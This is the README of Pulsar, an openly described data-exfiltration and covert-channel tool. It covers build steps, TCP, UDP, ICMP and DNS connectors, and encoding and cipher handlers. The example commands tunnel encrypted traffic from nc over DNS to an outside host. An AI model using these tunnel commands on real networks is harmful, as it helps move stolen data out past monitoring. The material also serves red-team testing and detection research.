# Pulsar

Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, 

a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection 

and resend it to real destination through DNS packets :tada:

# Setting up Pulsar :hammer:

:warning: **Make sure you have at least Go 1.8 in your system to build Pulsar** :warning:

First, getting the code from repository and compile it with following command:

    $ cd pulsar

    $ go build -o bin/pulsar src/main.go

or run:

    

    $ make

# Connectors :satellite:

A connector is a simple channel to the external world, with the connector you can read and write data from different sources.

* Console:

    - Default in/out connector, read data from stdin and write to stdout

* TCP

    - Read and write data through tcp connections

    

            tcp:127.0.0.1:9000

* UDP

    - Read and write data through udp packet

    

            udp:127.0.0.1:9000

* ICMP

    - Read and write data through icmp packet

    

            icmp:127.0.0.1 (the connection port is obviously useless)

* DNS

    - Read and write data through dns packet

    

            dns:[email protected]:1994

You can use option --in in order to select input connector and option --out to select output connector:

        

        --in tcp:127.0.0.1:9000

        --out dns:fkdns.lol:2.3.4.5:8989

        

# Handlers :wrench:

A handler allows you to change data in transit, you can combine handlers arbitrarily.

* Stub:

    - Default, do nothing, pass through

* Base32

    - Base32 encoder/decoder

    

            --handlers base32

* Base64

    - Base64 encoder/decoder

    

            --handlers base64

* Cipher

    - CTR cipher, support AES/DES/TDES in CTR mode (Default: AES)

    

            --handlers cipher:

You can use the --decode option to use *ALL* handlers in decoding mode

        

        --handlers base64,base32,base64,cipher:key --decode

# Example

In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.

    [nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]

192.168.1.198:

    $ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'

    $ nc 127.0.0.1 9000

    

192.168.1.199:

    $ nc -l 127.0.0.1 -p 9900

    $ ./pulsar --in dns:[email protected]:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
